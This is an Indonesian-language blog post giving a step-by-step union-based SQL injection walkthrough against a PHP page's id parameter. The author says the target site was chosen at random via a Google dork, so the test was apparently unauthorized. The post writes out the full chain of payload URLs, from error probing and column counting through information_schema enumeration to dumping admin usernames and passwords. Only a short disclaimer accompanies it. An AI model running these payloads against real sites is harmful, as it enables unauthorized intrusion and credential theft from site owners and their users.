Linux, Penetration Testing, PHP, Programming, SQL, SQL Injection, Web Server

Memanfaatkan Celah Keamanan SQL Injeksi Pada Aplikasi Web

Pada tulisan ini, saya mencoba melakukan pengujian celah keamanan suatu aplikasi web dengan memanfaatkan celah keamanan sql atau yang sering disebut dengan sql injection. Pada intinya, memanfaatkan kesalahan pada penulisan query pada aplikasi tersebut.

Salah satu contoh target yang diambil adalah situs yang diambil secara acak memanfaatkan google dork, langsung saja kita coba lakukan injeksi pada url aplikasi dengan menambahkan parameter seperti berikut :

http://www.target.com/text_pages.php?id=-1′

lalu tekan enter untuk proses eksekusi url tersebut,
apabila berhasil maka \akan muncul informasi kesalahan seperti berikut :

capture

Muncul  informasi kesalahan “You have an error in your sql syntax…” menandakan bahwa situs tersebut masih rentan terhadap serangan sql injection. Kemudian kita uji lagi untuk mendapatkan informasi lainnya.

MENCARI JUMLAH TABLE DALAM DATABASE APLIKASI

Gunakan parameter order by untuk menguji

http://www.target.com/text_pages.php?id=-1 order  by 1
http://www.target.com/text_pages.php?id=-1 order  by 2
http://www.target.com/text_pages.php?id=-1 order  by 3
http://www.target.com/text_pages.php?id=-1 order  by 4

dan seterusnya, dan jika pada kondisi tertentu muncul error seperti berikut

capture

Kemungkinan hanya terdapat 6 table dalam aplikasi tersebut.

MENCARI ANGKA UNIK SEBAGAI PARAMETER INJEKSI

Gunakan parameter union all select pada url target :

http://www.target.com/text_pages.php?id=-1 and 1=2 union all select 1,2,3,4,5,6–

capture

Apabila muncul angka unik seperti diatas, gunakan posisi urutan angka tersebut sebagai parameter untuk melakukan proses injeksi berikutnya.

MENCARI INFORMASI DATABASE DAN VERSI SISTEM

Gunakan statemen user() untuk melihat nama database
Gunakan statemen version() untuk melihat versi sistem

http://www.target.com/text_pages.php?id=-1 and 1=2 union all select 1,user(),version(),4,5,6–

capture

MENCARI INFORMASI TABLE DALAM DATABASE

Gunakkan statemen group_concat(table_name) dan tempatkan pada angka unik yang muncul di tahap sebelumnya lalu tambahkan pada akhir url statemen from information_schema.tables where table_schema=database()–

http://www.target.com/text_pages.php?id=-1 and 1=2 union select 1,2,group_concat(table_name),4,5,6 from information_schema.tables where table_schema=database()–

capture

MENCARI INFORMASI KOLOM DALAM SETIAP TABLE

Gunakan perintah group_concat(column_name) pada angka urutan angka unik yang muncul, dan diakhiri dengan perintah from information_schema.columns where table_name=char(database_name) pada akhir url.

http://www.target.com/text_pages.php?id=-1 and 1=2 union select 1,2,group_concat(column_name),4,5,6 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110, 105, 110, 102, 111)

capture

MENCARI INFORMASI ISI KOLOM DALAM TABEL

Gunakan perintah group_concat(column_name,column_name,…,column_name) dan akhiri dengan perintah from table_name

http://www.target.com/text_pages.php?id=-1 and 1=2 union select 1,2,group_concat(adminid,0x3a,username,pass),4,5,6 from admininfo–

capture

Sekian tulisan singkat tentang percobaan pengujian keamanan aplikasi web diatas. Segala bentuk penyalahgunaan atas nama apapun dari setiap pengetahuan yang anda miliki, adalah tanggung jawab anda masing-masing. Oleh karena itu, gunakan dengan bijak setiap kemampuan anda.

Terima kasih.

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s